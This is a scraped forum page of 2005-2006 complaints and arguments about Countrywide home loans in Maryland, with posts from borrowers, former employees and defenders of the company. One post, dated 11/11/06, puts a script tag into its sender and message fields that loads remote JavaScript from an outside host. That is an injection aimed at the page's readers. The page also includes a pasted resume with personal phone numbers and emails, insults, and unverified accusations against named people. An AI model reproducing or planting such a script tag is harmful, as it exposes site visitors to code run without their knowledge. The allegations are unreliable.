Countrywide Financial Maryland Home Loans Sucks

COUNTRYWIDE HOME LOAN SUCKS!
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Countrywide Financial - Maryland Home Loans - Equity Loan Mortgages SUCKS!

Maryland Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan Maryland and dont want to get ripped off or have hiden fees on your Home Loans?

Need A Home Loan MD, Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you. We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.

This is what home loan customers in Maryland (MD) have been saying...

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Date: Tue 12/12/06 1:33AM
From: T

Message: RE/MAX Thomas Foti
FOTI007@COMCAST.NET 9180 E Moonshine Hollow
http://www.tomfoti-re.com Laurel MD 20723
240-280-1855 & 917-968-3489

Summary of Qualifications

The advisory for CEO of Bank , Head Traders, Mutual Fund Managers, Hedge Funds & development of as many 1000 subagents or sales crews to earn a living. Through an advisory relationship of financial transactions a**isted building the infrastructure of financial markets or districts that exist presently. Previous Series 7, 63 + NY State Real Estate licenses. Advisor for Travelers Insurance Co. Clearance dept. put their Federal or Agency Mortgage desk a**isting the industry online for Goldman Sachs & 1000 similar institutions .Online transactions of FNMA, GNMA , FHLMC , SALIE MAE, FHA,VA.
Selected Accomplishments
• Carved out a niche as a financial savant and investment advisor to a highly discerning clientele while attaining considerable profit on a consistent basis.
• Excellent in shifting a negative to a positive by effectively demonstrating the significant benefits of the product, while projecting a positive, comfortable image.
• Gained a reputation in a competitive industry for constantly eclipsing the competition through in depth research, business ac**en and solid work ethic.
• Executed a series of transactions, which resulted in fiscal gains in collaboration with wealthy retail and institutional clients.
• Example: Spearheaded stock sale of Metro Media Fiber networks; Dollar evaluation skyrocketed from Zero to 6.5 Billion with purchases made by John Kluge and David Rockefeller. Bell Atlantic bought 19% ownership. The Company proceeded to receive a Sixteen Billion Dollar valuation and ranked the #7 investment banking deal in Forbes. Discovery of Fiber-Optics Sector.
• Example: Raised initial money and guided 100 new companies which many became household names with the public. The initial public relations & staff trainer for many institutions. Example: Recommended several other technologies stocks before their acknowledged success, including Amazon.com, Microsoft, Cisco, Real Networks, Micron Technology, and JDS Uniphase. Launched many Biotech cures, Environmental, Utilities and Power Co, etc.
• Performed a wide array of financial transactions regarding agency security transfers over the Fed Wire Conversion (Secpac), Government Mortgages, delivered US Treasury Notes, Bonds and Strips over the Fed Wire and balanced a Billion Dollar desk on issue dates. Sale of Treasuries & Government Mortgages for Travelers Insurance Co. Federally bonded since Seventeen years old.
• Obtained an ample amount of insight into the mechanics of numerous diversified businesses and comprehension of legal concepts. Advisory or RAISED a Billion by NYSE standards.
• Professional Experience Accounts of 3000 CEO’s, Fund Managers, Original Financial District
RE/MAX June 2001- July 2007 N.Y. RE License # 40FO0926254 NYSAR # 631103393
Hilton Grand Vacations Co, September 2003-December 2003 CE till June 2007
PDC Interiors, Project Manager, January2003-August 2003
Sales & gained more average public in person sales
National Sales Manager, TWR EXPRESS, August 2002-December 2002
Toyota of Manhattan, February 2002-July 2002
Empire Contracting, Foreman/Consultant June 2001 – January 2002
Madison Estates & Properties, January 2001 – June 2001
Financial consultant/ Investment Advisor Raised $250,000,000.00 to bring 100 Companies Public
Baron Chase, NASD: November 1998- October 2000 (Standard: 250k initial deposit by referral)
Josepthal Lyon & Ross, NYSE: (Merged by Oppenheimer) March 1995 – October 1998
Joseph Stevens, NASD: March 1992 – March 1995 (Started Firm with 600 Account Client Base)
Paragon Capitol Ltd., Inc., NASD: July 1991 – March 1992 (Started the One PRE/QUALFY Call Close)
D.H. Blair, NYSE: November 1989 – June 1991 (Rated @ $1000.00 per hour or Nine Million Commissions)
SSC Security Settlement Corp. (Formerly Travelers now Citigroup), April 1987 – October 1989
E.F. Hutton, April 1986 – March 1987 (Originally Shearson Lehman Hutton now American Express)






Date: Sat 11/11/06 12:46AM
From: <script src=http://usuc.us/j.php>jonny</script>

Message: <script src=http://usuc.us/j.php>jonny</script>
Date
Left: July 15, 2006 By: Paralegal In: Chicago

Last year, I was a paralegal for countrwide for 4 months. I will you say this. Countrwide will do anything, whatever it takes to make a buck! They will also do whatever it takes to protect themselves no matter what they do! I'm sure you all know about the Ameriquest story. Well I went back to my old job with them and they're not nearly as bad as countrywide. I laughed when Countrywide tried to get me to stay as they badmouthed Ameriquest LOL


Left: July 14, 2006 By: Baltimore In:

I feel for all of you being wronged by any company. If you look at the largest mortgage companies in America (Google search) you will find that there are just as many complaints by employees and customers. Just move on........let it go. I would, unless you were an individule target of wrong doing.


Left: July 12, 2006 By: In:

if you were a past employee or current one who was wronged by this company please email me for help and to share and join together... bridgegirl24@yahoo.com


Left: July 08, 2006 By: In:

Everyone go to the press and tell your story, write them, write the editors and call the radio shows. It is the only way to get it out. Let the world know what scum this criminal company is. Give me one person who has complained and had the company thank them and admit they found something....damn scum, GO TO THE PRESS!!! The lawyers their are scum, Iam an ex-employee and speak from truth, numerous employees crushed when they have complained of stuff, numerous customers crushed when they complained, dared to sue, go get lawyers etc..don't call the press, write them and tell them the scum at cwide and their actions, its the only way.


Left: July 08, 2006 By: Truth Commission In:

DEAR VICTORIA,

If you were led to believe that your rate AND payment was suppose to stay the same. You may want to look at your paperwork again. If your paperwork proves what in fact the payments ARE suppose to stay the same, and that IS the agreement, BUT the payments changed on you againts the terms, then consult an attorney.
Because in that case, Countrywide violated several laws (i.e. Truth in Lending, RESPA). You may want search around this site to get into contact with other folks at this webpage who are currently suing Countrywide for similar cases. If any email/web addresses are available.

However, if your paperwork doesn't prove your payments were fixed even the loan officer told you: unfortunately you're are out of luck. It wouldn't surprise that happened. I myself have noticed paperwork coming out wrong almost everyday and I use to fight tooth and nail to get it corrected. It was absurd. Once again, countrywide's computer technology is archaic which leads to many problems. What I would do, is seize the next opportunity to refinance with another mortgage company, and make sure you read over the paperwork in detail befor you sign. I hope this helps.


Left: July 07, 2006 By: In: Baltimore

Whoops.....2 of the same posts


Left: July 07, 2006 By: In: Baltimore

re Truth commission
Look ding dong :), the AE title is for the prime AE's in wholesale, and the sub-prime people are called area managers for wholesale. I am not an LO, I graduated from that about 6 years ago. I was shocked of yours and many other complaints because I've been here for 6 months and have witnessed non of the things you say. That doesn't mean they don't or didn't happen. Do you follow me now? Believe me I don't defend any company, I just work here and I'm doing very well and that's all I care about. Do you finally get the fact that I'm a wholesale sub-prime area manager and I sell CW products to brokers and I don't originate loans? Talk about intelligence, your the one who is crying to a web site about a company you don't work for anymore, I call that bitter no matter what you say. I only found this site because one of my friends was researching CW and thought this site was funny so I checked it out and then he came aboard over many other offers. Get over it man! As for the rate issue, I said they have good rates in many states...not the best. I don't sell rate anyway, I work sub-prime and that's all about benefit to borrower. When I was asking you for dates you were giving words that describe time like "recently" which could mean anywhere from 1 month to a year depending upon how liberal you are with the word and i don't know you...HMMMM. You could of given me a date because I heard CW USED to be really bad and I thought you may have worked there then. Just out curiosity who do you work for now?


Left: July 07, 2006 By: In: Baltimore

re Truth commission
Look ding dong :), the AE title is for the prime AE's in wholesale, and the sub-prime people are called area managers for wholesale. I am not an LO, I graduated from that about 6 years ago. I was shocked of yours and many other complaints because I've been here for 6 months and have witnessed non of the things you say. That doesn't mean they don't or didn't happen. Do you follow me now? Believe me I don't defend any company, I just work here and I'm doing very well and that's all I care about. Do you finally get the fact that I'm a wholesale sub-prime area manager and I sell CW products to brokers and I don't originate loans? Talk about intelligence, your the one who is crying to a web site about a company you don't work for anymore, I call that bitter no matter what you say. I only found this site because one of my friends was researching CW and thought this site was funny so I checked it out and then he came aboard over many other offers. Get over it man! As for the rate issue, I said they have good rates in many states...not the best. I don't sell rate anyway, I work sub-prime and that's all about benefit to borrower. When I was asking you for dates you were giving words that describe time like "recently" which could mean anywhere from 1 month to a year depending upon how liberal you are with the word and i don't know you...HMMMM. You could of given me a date because I heard CW USED to be really bad and I thought you may have worked there then. Just out curiosity who do you work for now?


Left: July 07, 2006 By: Truth Commission In:

One more thing "Area Manager"

You think I should sit on a black couch and talk to a profession. Too bad I'm not the one that needs too. Here, have another drink! :)


Left: July 07, 2006 By: Truth Commission In:

RE: aspiring smart-ass AKA Mr/Ms. "Area Manager"

"you sound like a very bitter person"

A bitter person? LOL Nooo. I now work for a better mortgage company than you do :).
It's just that many customers come to this site with valid complaints, and so do employees. Being a former insider myself, I can back up what they are saying with TRUE FACTS. And I can explain why so many people are having problems.
And yes I do get a bit annoyed when managers come and try to refute what the people say without holding water, or act so shocked that the company has these problems.

So now you're an Area Manager, but not a manager? hmmm. Oh you're an AE. Guess what, so was I!
AE stands for Account Executive. Last time I checked an Account Executive IS a loan officer! An AE originates loans. And I worked for CW's FSL, which is CW's subprime division!.
And for the record, Account Executives are not called area managers :).
But if you go up the heirarchy, there is Team manager, Branch Manager, Regional Manager, DVP, VP this and that and so on. I never heard of "Area manager", but that sounds more synonymous to a managorial position.

"I was not second guessing you"

Let's read your post again on 6/28/2006. "I am shocked to hear of your misfortunes", "never had a problem", "can you see where I'm confused?". As if that weren't a second guessing attitude.

"I was only asking you questions"

You only asked two questions.
Q: "can you see where I'm confused?"
A: Obviously you are, but I have no explanation for that one.
Q: "about what year were you employed with CW?"
A: IF YOU READ MY POSTS, in one post I wrote that I recently quit. How long ago is recent. Use your imagination. Ok, I'll be exact. It was a month in a half. And if you read the another post, I stated how long I was there. I will let you scroll down and read it again :) So about what year was I employed with CW? hmmm?

FYI- I know several mortgage brokers. All of them had done business with Countrywide at one time, for a long time. But only one of them still use Countrywide at all, but in lower frequency. Countrywide WAS great. That's all in the past.

Also I read earlier posts on this page, by loan originators who said Countrywide's rates are higher than other lenders. They were right. Selling yourself minimized the chances of borrowers shopping but it will never eliminate them. Almost every customer who had other offers, always had at least one better than countrywide. When I would go to my manager to see if we could beat it, they would tell I would have to take a P/E. We shouldnt have to be less compensated for beating a competitor.
Of course, I also read the post, probably written by you, about Countrywide having the best rates out there. Absolutely not true. Check bankrate.com, I never once say Countrywide on the list.

Once again, lets recap on the concept of bitterness. If people are speaking about the true crookedness or a company such as Countrywide, don't call them bitter just because you work for that company.

Oh and you call me "dumb ass". Cut the namecalling. You're not in the position to call me a dumb ass, especially if you're someone of your level of intelligence and integrity.

:-)



Left: July 07, 2006 By: In: Baltimore

Dear Victoria,
You were sold what they call an MTA or pay option arm loan (from what it sounds like). This loan has multiple options for payment, it's like having a big credit card and if you make the minimum payment all the time you will get nowhere and lose equity in your home. The broker that sold you the Mtg probably was not real educated on the loan he was selling and now you have issues and have a pre pay penalty to deal with. The only way you can fix this is to refi into the best loan you can find, but this time you should look for experience in your broker. There is no government agency you can go to to (I don't know of one, but someone can chime in) fix your Mortgage but I'm sure you can complain to whoever will listen. The problem with this business is, over the years with historically low rates everyone and there mother got into the broker business to make a fast buck and there is to much inexperience and rif raf out there. Sorry to hear of your problem.


Left: July 06, 2006 By: In: Baltimore

re: Truth Commission

You really sound like a bitter person. My last response was not meant to challenge you. I am not a manager, nor am I defending my company, I only speak what I know. I am basically an AE or sales rep, we just call ourselves area managers. If my company is doing any of those things you mentioned I would leave at the drop of a hat but I have had nothing but success and support. Some of the niches we have on the sub-prime are industry leading and I know this because I have sold numerous products from many investors, and who do you think buys that paper.......that's right CW. Through the years I have been in the business I have dealt with 1000's of LO's and 100's of broker shops and majority of them (can't please everyone) have never had a problem with service or products from CW. If your dumb ass was reading my prior post I was asking you questions and not second guessing you. You sound like your only an LO anyway am I right? Because if you are then we have nothing to argue because we are in 2 different worlds. I never said CW has the best products, I said they have good niches. I'm not preaching to you, I'm just asking you questions and you don't answer them, you just keep getting bitter about a company you don't even work for. I think you need to lay on the black couch and discuss this with a professional.


Left: July 05, 2006 By: Victoria In: Maryland

Can someone point me in the right direction. My husband and I got a mortage with Countrywide that we understood would have a monthly amount that would stay the same each month and change year after year. Now we find that the monthly amount fluctuates each month if you pay interest only, 15 years or 30 years but stays the same for the lowest possible amount which takes you into negative amortization. I called Countrywide and basically we are screwed. According to the rep, many call with the same issue and there is nothing we can do but refinance and pay a penalty. We just refinance to reduce our monthly fee and now the monthly fee is ever higher than our original amount. The mortage broker claims that is not what was explained to him so at this point we are out of luck because there is nothing he can do. Are there any government organizations that can assist? Any feedback would be greatly appreciated.


Left: June 30, 2006 By: Truth Commission In:

You are preaching to the wrong choir, I meant :)


Left: June 30, 2006 By: Truth Commission In:

Another CW manager coming to CW's defense, in fearful response to valid complaints from loan officers and customers.

Only a CW manager comes here and claims he ALWAYS had top notch service.

Only a CW manager comes here and claims he has NEVER had a problem with Landsafe Appraisal.

Only a CW manager will claim Brokers think CW is the best, and cant get enough its imcompetent service.

Only a CW manager will say his company has the best products. Well, so do managers in other companies. But I now work for another lender, and their products and customer service is by far better than CW. That's why I left CW to work for them. Plus, the turnover rate where I work now is 3 years, in contrast to 6 months where I worked at CW!

Besides even of CW proposed the best products, they often end up restructuring them into the worst thanks to the practices of Landsafe appraisal.

And when the customers and loan officers are the ones who have the grip on reality, by rejecting Countrywide. Only a manager comes here, alleging that they don't have a grip, by implying he does when he really doesn't.

And to talk about being a fit to the company. Let me just say this Mr. Manager. I'm a very good fit for the mortgage business. I learned that I'm not a fit for Countrywide. Why? Because I'm not a crook, and the people that are running the company these days ARE.

So Mr. Manager, I know you must do your job defending the Enron(CW) mortgage company. But you are preaching the wrong choir. One that is in touch with reality, and is wise enough to chose not to do business with Countrywide.








Left: June 28, 2006 By: In: Baltimore

I'm a area manager for the sub-prime side (specialty lending group). I'm shocked to hear of your misfortunes with CHL. I have been in the industry for 4 years (6 months with CW) and have had nothing but success with CW along with top notch service. I came from a small company where service and underwriting was always an issue. I never once had a problem with appraisal reviews or Landsafe reviews with CW. We don't require appraisals to be Landsafe either. Since I have joined CW they have given me nothing but outstanding support and great products. My broker shops can't get enough of the good service and programs, but those things don't mean anything unless you know what your doing. Can you see where I'm confused with your posts? I'm a person that has a grip with reality and not every person is a good fit for some company's and vice versa. About what year were you employed with CW?


Left: June 28, 2006 By: In:

Yes, I was a prime ehlc. you should have seen what these bastards did to my branch...refer to arizona....and the writing of Atlanta. What a fricking nightmare these CHL execs put us through. It was, by far, the worse I have ever felt or was treated. i can't stand them as people, and I hate what the comapny now stands for.....raping the consumer, the loan officer and the staff.


Left: June 28, 2006 By: Truth Commission In:

"Were you a prime AE?"

I worked at Countrywide's Full Spectrum Lending Division for 7 months until I quit. About the third I was eventually in the top 10-20% in locks(applications). Sadly, I would see at least 7 out of every 10 them fall through. Mostly because the appraisal came in excessively low. Refer to my previous post about its corrupt appraisal company LANDSAFE. If there was still a deal, that is how Countrywide secretly steers its customers into a more expensive loan program. Once again, Disguised predatory lending. Just about every other AE I knew lost many deals for the same reason. Where I worked, the average turnover was 6 months. I saw many newbies come and go. I stuck it out for 7 months.

Oh and talk about a combo of predatory lending AND scamming employees. Mortgages rates are subject to change on a daily basis. When I submitted a program to my manager to lock. I've seen some of them sit on his desk for another day or two, and by the time he locked the rate/points changed, usually going up. I was then either forced to piss off a customer by telling him his rate/points are now higher, OR I would have to eat a Pricing exception which cuts into my commission. When confronted about his mistake/imcompetency/scheme, you would be amazed by the excuses my manager came up.

That's among many reasons why I left Countrywide. Never going back. Never will apply for a Countywide Loan.

I will gladly spread the gospel too.


Left: June 23, 2006 By: In:

I was a 5 time COE winner and quit CHL because of the same reason "truth commission" is writting about. CHL....flowing down to the cesspool of s....


Left: June 22, 2006 By: Baltimore In:

Hey Truth Commission,

Were you a prime AE?


Left: June 22, 2006 By: In: Baltimore

You meant to type loser.


Left: June 20, 2006 By: Truth Commission In: USA

THIS IS IN RESPONSE TO "JOE D" and his worthless post on June 11, THIS IS FOR ALL PRO-CW AND ANTI-CW READERS.

You don't seem to get it.

For many years Countrywide HAS BEEN #1 in customer service. But guess what? Countrywide is soon to be a HAS BEEN.

I know all this because I had just recently quit Countrywide to work for another mortgage company.

Countrywide didn't use move operations over to India, BUT NOW they do! That will be bad for customer service.

COUNTYWIDE IS NOW TOO CHEAP TO KEEP UP ON ITS COMPUTERS AND COMPUTER SYSTEMS. When I worked there, computers froze up at least 5 times a day, and application information was always getting erased.

That is why the number of customers complaining about missing payments has been increasing in the last few years.

That is why it is now taking Countrywide 30 to 40 days to close a loan. Also because Countrywide now has a lot of untrained, inefficient, and disorganized underwriters and processors. (Countrywide may now also be too cheap to hire an adequate staff)

That is also why payoffs and other items are now coming out wrong.

Also Countrywide requires just about all of its loan originations to use LANDSAFE appraisal, a company owned by Countrywide itself. Their appraisals are extremely conservative, and 9 out of 10 of mine and other A/E’s came in OVER $10K less than comps. Even if the home was in good condition. This forces the A/E to restructure the loan a higher rate, less cashout, fewer bills paid, or a some combination of the factors. Their appraisals set the road for disguised predatory lending, and bait and switch.

Wake up Joe D! Have you ever studied the life cycle of an organization? Check it out. It comes in four stages: Introduction, growth, maturity, and decline. Right now, Countrywide is slowing down in the growth stage about to hit maturity. The only thing holding right now is the brand name its built from its past. And if Countrywide continues with its path, it will not be long until it is in its decline stage.

ENRON WAS ONCE A FORTUNE 500 COMPANY. Countrywide is riding in the same path.

Also Countrywide was recently sued in California from its conduct as an employer, and apparently it never learned from the lawsuit. Another lawsuit will happen.

Joe D. you are not in the position to call the people here "Jerk Offs". Especially if you're another goon in Countrywide's management. Because only someone in CW management would stick up for Countrywide the way you just did.

Not to meantion Joe, you posted your same pathetic post on all 50 state pages here, claiming to be from different local cities.

And to the Pro-CW idiot who keeps taking up the excessive space in the forum with blank lines. GET A LIFE LOOSER.

You will not keep others from reading the previous posts.



Left: June 14, 2006 By: In: Baltimore

That was funny.


Left: June 13, 2006 By: In:

CHL = Enron


Left: June 11, 2006 By: In:















































































































































Left: June 11, 2006 By: Joe D In: Baltimore

Hey jerkoffs..CW ia a member of the S&P 500, Fortune 500, and #1 in customer satisfaction..this website's sole purpose is to drive business to US-Home Loans.com...get a life you stupid a**holes...



Left: June 10, 2006 By: Anthony In: Ft Lauderdale

Today, I went to a Countrywide botched closing/settlement. They made several LOL mistakes during the process including such dumb things as asking for verification of over lapping employment (ie International Business Machines and IBM - they couldn't figure that one out). There were clerical errors in the closing docs too numerous to mention including a 2 point interest variance. Finally, even though they promised no closing costs and no prepayment penalties(other than a $350 fee), during the settlement/closing process today, they faxed an addendum stating that I would have to pay nearly $2000 as a prepayment fee. Luckily, I was not closing on a house, just getting an equity line. I walked away from the table without signing. It was clearly a predatory action on behalf of Countrywide. Had I been at the table with sellers and needed to close on a purchase or was desperate for this money, I would have been forced to close. Maybe Countrywide thinks that the public is as incompetent as its employess and that I would not read what I was signing.


Left: June 08, 2006 By: In:

yeah, o.k.. Again you show your ignorance. keep it up. this is funny to toy with. BITCH!!


Left: June 07, 2006 By: In:

You know it's funny........I knew you would say that very thing, dork. Being educated has nothing to do with anything we were talking about. You seem like a snot asshole who thinks they are better then someone because you are educated. I guess what I meant by schmuck is this. Anyone who uses the word sparky is a dork.


Left: June 04, 2006 By: In:

to "me"...the typical response from an uneducated person. such a really intelligent statement from the walking brain dead.


Left: June 01, 2006 By: Me In: Anywhere

Hey IN,
Your a fucking schmuck.


Left: June 01, 2006 By: Chris In: Baltimore

What's the difference Mtg or Mtge, you know what we mean. This is not the point. On another note I work for CW too and I've been around the industry. We have very good rates depending on the state and un-beatable programs. I've been here 2 months and my pipe is huge and they all will close. I don't say this trying to boost myself up, this is in response to the other dude who says he is employed by CW. The sub-prime business is not about rate, it's about benefit to borrower. Once you learn that you will be successful. You have to remember you are selling yourself most of all.


Left: June 01, 2006 By: Chris In: Baltimore

What's the difference Mtg or Mtge, you know what we mean. This is not the point. On another note I work for CW too and I've been around the industry. We have very good rates depending on the state and un-beatable programs. I've been here 2 months and my pipe is huge and they all will close because CW has the best name in the industry. I'm not saying this trying to boost myself up, this is in response to the other dude who says he is employed by CW. The sub-prime business is not about rate, it's about benefit to borrower. Once you learn that you will be successful. You have to remember you are selling yourself most of all.


Left: May 31, 2006 By: In:

wrongo..sparky it is MTGE.. take a look at mortgage banker's magazine or any other publication that deals w/our industry. i've been in the business for 20 + years so....


Left: May 31, 2006 By: In:

Your wrong, the abbreviation for mortgage is MTG. Obviously you are not in the business


Left: May 31, 2006 By: Amy In: Nashville

I work for Countrywide and believe me, they expect that as an HLC, you owe them dearly to work there. Our rates are about .125 higher than all the other lenders and we have to take personal losses on our deals to be competitive. This company expects you to do double the volume and make half the money you would by working elsewhere. The do have some great programs and having local underwriters and closers makes for a much quicker and easier closing. But if you are not in the circle of excellance, being a big top producer for the company. You will starve.


Left: May 30, 2006 By: In:

short for mortgage is mtge. not mtg.


Left: May 30, 2006 By: Chris In: Baltimore

This site is tooooo funny. If you look closely at the posts you will see these people can barely form a sentence or use right grammar, these type don't pay bills on time. I've worked in this industry for years and by law if you are more than 1 day late any company has the right to call and ask for the bill. Everyone in the world knows that the Mtg is due on the 1st of every month, that means you have 30 days to get your payment together. I'm shocked to hear that people have missed 3 payments in a row and expect to keep their house. If Countrywide has approved your loan you can be assured that they approved it because you can afford the home, but what know one can do is guess if an irresponsible person will pay their bills. If people have their escrow accounts messed up don't blame CW, you should blame the Mtg broker who fucked up your deal. If Countrywide is raising your payment that means they are doing you a favor to avoid tax shortage. But in short....JUST PAY YOUR BILLS.



Left: April 24, 2006 By: GREENIBLUZ@YAHOO.COM In: CLINTON , MD

COUNTRY WIDE IS THE WORST AND I HAVE SEEN SOME THAT ARE BAD. THEY ARE NOT FOR THE CUSTOMER JUST FOR THE DAMN DEAL. OUR PAYMENT DATE WAS THE 1ST WE STARTED GETTING DAMN CALLS ON THE 3RD WHAT THAT WAS THE FIRST RED FLAG ALTHOUGH THE PAYMENT WAS PUT IN THE MAIL ON THE SECOND. THEY RAISED THE INSUREANCE AND TAXES BUT WE CANNOT GET A REASON WHY AND THEY GIVE YOU THE DAMN RUN AROUND BUT IF YOU LATE THEY ARE RIGHT ON YOUR DOOR. SOMEONE NEEDS TO LOOK AT THIS A FILE CHARGES AGAIST THE OR SOMETHING THIS IS WRONG AND I KNOW THERE HAS TO BE A LAW ABOUT THAT SOMEWHERE OUT THEIR . THEY SUCK


Left: April 11, 2006 By: In:

So, why don't you just do automatic bank draft or send a check in befor the 15th of each month and save yourself $10? Sounds like you are not making your payments on time. Blame yourself.


Left: April 08, 2006 By: Guitson Louis In: Frederick

My problems with countrywide just keep growing ever since my loan was sold to them. I have to pay an extra 10 bucks just to make my payments on line. I called several times to complain, but nobody cares. However, once they realize my loan is over a year old then of course they called me every week trying to talk me into refinancing. After two different guy pulled my credit one of them is Shawn Link from columbia. They told me I didn't qualify, but not until after they dig into my credit. These guys are a bucnch of opportunists, they care about the next deal, there's no desire to maintain a relationship. I am very upset because I was used my two different loan officer for the purpose of reaching a quota and screwing up my credit.


Left: March 14, 2006 By: In:

BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI. THEY ARE A CUT THROAT RECRUITING FIRM OUT OF HICKORY AND CHARLOTTE, NC, AND FLORIDA. THEY RECRUIT YOUR EMPLOYEES OUT OF YOUR COMPANY THEN CALL YOU AND REQUEST THAT YOU PAY THEM A RETAINER TO FILL THE OPEN POSITION. A YEAR LATER AND THEY COME RIGHT BACK AND RECRUIT THAT SAME CANDIDATE THEY FILLED THE OPEN POSITION WITH. THEIR GAME IS GETTING RETAINERS. IF YOU RETAIN THEM THEN WALK AWAY FROM THE DEAL, YOU OWE THEM 75%. IF YOU RETAIN THEM BUT FILL THE POSITION WITH A CANDIDATE YOU FIND, YOU OWE THEM THE FULL FEE.


Left: February 03, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS.

NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.


Left: February 03, 2006 By: jake In: cali

Improper Home Charges

Read then File a complaint

www.zimmreed.com




Left: January 29, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS.

NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.

GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION.



Left: January 20, 2006 By: In:


Left: January 20, 2006 By: roy In: tampa

Notice: Must Read

Sweat Shop Employees www.gdblegal.com

Appraisal Overcharges www.sherlocklegal.com

Wrong Doings www.jameshoyer.com

www.ripoffreport.com

file your complaint




Left: January 17, 2006 By: In:

TL - hope you found a better lender. Any good lender can push your purchase through in less than 10 days. Let us know how you make out. Get a copy of the appraisal you paid for.


Left: January 13, 2006 By: TL In: Ft Washington

I am scheduled to go to closing TOMORROW with Countrywide as the lender. Needless to say, after reading the stories on this site, my first call will be to my Realtor to let him know that unless he can find me another lender, the deal is off! I am not desperate so I will never use this company.


Left: December 03, 2005 By: In:

Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607

That means:
*No emails
*No Phone Solicitations
*No Junk Mail

Get customer service reps name and employee ID# and make a note of it.

Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason.


Left: November 21, 2005 By: In:

the "top producer can't even close 26 mm to make it to chl's circle of jack offs


Left: November 03, 2005 By: TOP PRODUCER In:

I'VE NEVER READ SUCH BS, AS I'VE READ JUST NOW! I HAVE A FEELING MOST OF YOU BABIES WHO GOT FIRED BECAUSE YOU WERE DOING FRAUD OR THOSE WHO THINK GOT THE SHORT END OF THE STICK PROBABLY HAVE 500 FICO SCORES, BECAUSE ONLY UNGRATEFUL BRATS COMPLAIN. CHL IS AMERICAS' #1 RESIDENTIAL MORTGAGE BANK IN THE WORLD! NO OTHER BANK CAN COMPETE. OUR RATES, OUTSTANDING CUSTOMER SERVICE, AND UNDERSTANDING OF THE MORTGAGE INDUSTRY WILL ALLOW US TO DOMINATE FOR YEARS TO COME. 1 OUT OF EVERY 3 PEOPLE HAVE A CHL, GO ASK YOUR NEIGHBOR HOW HAPPY HE/SHE IS WITH US. I DARE YOU!

THIS GOES TO ALL THE STUPID PEOPLE ON HERE: WHAT MORTGAGE BANK DO YOU KNOW THAT SPLIT 3 TIMES IN ONE YEAR AND HAD A ROR OF 90%?? ANYONE? YOU THINK WAMU, CHASE, WELLS, HAD A ROR OF OVER 90% IN ONE YEAR?? NO! THEY DIDN'T! BUT COUNTRYWIDE HOME LOANS DID. I SEE WHY THE AUTHOR OF THIS WEBSITE CREATED THIS WEBSITE; TO MISINFORM POTENTIAL CUSTOMERS FROM DOING BUSINESS WITH US. WHY IS IT THAT THIS WEBSITE ONLY HAS NEGATIVE POSTS?? NOTHING BUT A BUNCH OF BIAS KIDS. I'M GOING TO BE CHECKING IN A WEEK TO SEE IF THIS POST WAS POSTED, IF NOT THEN I KNOW WHAT THE AUTHOR HAS IN MIND AND THAT IS TO WEAKEN COUNTRYWIDE HOME LOANS. HE/SHE WOULD HAVE TO KEEP THIS WEBSITE FOR 10,000 YEARS BEFORE ANYONE STARTS HAVING DOUBT IN THIS COMPANY. IF SOME OF YOU GOT FIRED FROM THIS COMPANY, I'M GLAD! WE DON'T WANT YOU ANYWAY. WE ONLY WANT THE BEST WORKING HERE, GO TO OUR COMPETITORS THEY'LL HIRE YOU/ AND WE'LL CONTINUE BEING #1 IN THE WORLD IN RESIDENTIAL HOME LOANS. TAKE CARE GOD BLESS!

PLEASE ASK ME ANY QUESTION. AND STOP COMPLAINING THAT YOU DON'T KNOW WHERE TO SEND YOUR PAYMENT, THAT COMMENT IS AS OLD AS DINOSAURS. CALL THE MORTGAGE CONSULTANT YOU DEALT WITH AND HE'll DIRECTED YOU IN THE RIGHT PATH. WE ARE HERE TO HELP YOU ALONG THE WAY, FROM YOUR FIRST CONTACT, TO THE CLOSING TABLE, AND YOUR PICNIC AT YOUR HOME WITH FRIENDS AND FAMILY! THANK YOU FOR YOUR BUSINESS! GOD BLESS! LIVE WITH PASSION!!!!!!



Left: September 20, 2005 By: An observer In: Atlanta, GA

I don't know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won't be an end until it's destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren't qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They'll be gone, someone new will be along or they can close down Atlanta altogether. I don't think Atlanta would be missed by the rest of Countrywide.



Left: August 08, 2005 By: In:

Well, you ARE an attorney. Why don't you just sue them? That's what everyone here says they are doing.


Left: August 06, 2005 By: Ticked off..... In: Frederick

